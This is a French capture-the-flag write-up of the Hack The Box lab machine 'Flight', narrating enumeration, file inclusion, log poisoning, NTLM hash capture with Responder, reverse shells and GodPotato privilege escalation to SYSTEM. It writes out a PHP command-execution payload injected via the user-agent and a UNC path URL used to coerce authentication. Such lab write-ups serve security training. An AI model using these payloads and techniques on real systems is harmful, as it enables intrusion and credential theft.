Flight

smb ntlm responder theft aspx

  • Nom machine : Flight

  • Difficulté : Difficile

  • OS : Windows - AD

Enumération

NMAP

Nmap scan report for 10.10.11.187
Host is up (0.030s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-13 20:21:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP (80)

Nous avons accès à une page web. Tout en bas on aperçoit un nom de domain : flight.htb.

Nous allons énumérer de possible sous-domaine.

Nous ajoutons school à /etc/hosts

En naviguant sur le nouveau site, on remarque rapidement "?view=". Nous allons tenter une LFI.

Accès initial

Nous avons obtenu une réponse pour : http://school.flight.htb/index.php?view=/WINDOWS/system32/drivers/etc/services

Nous pouvons maintenant tester une liste de fichier :

Avec gedit et "find and remplace", nous avons enlevé les "C:"

Nous pouvons maintenant tester dans Burp Suite. Nous capturons la requête, la transférons dans intruder, marquons la position du payload, puis ajointons la liste précemment obtenue.

Nous obtenons une liste de fichier possiblement intéressant. Parmi eux, des fichiers de log... qui notent l'user-agent.

Points particuliers : dans Burp les caractères spéciaux ont automatiquement était converti en URL, nous pouvons enlever cette option. Ici cela a fonctionné, ce qui n'est pas toujours le cas.

Nous allons effectuer une attaque dite de Log Poisoning à l'aide du fichier access.log

Nous avons noté <?php system($_GET['pwn']); ?> dans l'user-agent puis &pwn=ping+10.10.14.19 à la suite du fichier.

Sur notre machine nous avons bien obtenu un retour.

Nous pouvons maintenant essayer d'obtenir un reverse shell.

Sans résultat...

Nous allons voir si nous pouvons obtenir une RFI.

http://school.flight.htb/index.php?view=http://10.10.14.19

Nous avions un server python au port 80 actif et qui a obtenu une réponse.

Nous allons lancer responder pour espérer obtenir un hash grâce à SMB.

http://school.flight.htb/index.php?view=//10.10.14.19/log.txt

Nous allons le cracker. Tout d'abord on l'enregistre dans un fichier.

a l'aide de nxc on découvre plusieurs partage

Rien d'intéressant.

A l'aide du même outil nous allons énumérer les utilisateurs. Pour pouvoir ensuite tester le protocole kerberos.

Sans succès pour kerberos. Nous allons voir si le password de svc_apache est réutilisé.

Nous avons maintenant des droits en écriture. Et si nous testions d'obtenir une nouvelle fois un hash avec Responder ?

Nous allons attendre un peu ...

Nous allons cracker le hash comme fait précédemment.

Elévation des privilèges

Nous avons les droits en écriture sur le partage web. Nous allons pouvoir upload un shell sur flight.htb.

Nous utilisons le reverse shell powershell base64 de revershell generator.

a l'aide de la commande netstat, nous pouvoir voir que le port 8000 est ouvert. Nous allons effectuer une redirecton de port.

Nous allons voir si on trouve des informations complémentaires à partir des fichiers.

Le site correspond bien au dossier development. Nous allons voir qui a les droits dessus en écriture.

C.Bum peut le faire ! Nous allons changer d'utilisateur grâce à runasCs

Nous pouvons maintenant écrire dans le dossier.

Nous allons upload un shell cmd.aspx.

On n'oublie pas le /c avant le reverse shell. Nous avons utilisé le même qu'avant, c'est à dire powershell base64.

SeImpersonatePrivilege

On télécharge et exécute GodPotato et nc.exe

Nous sommes nt authority\system !

Mis à jour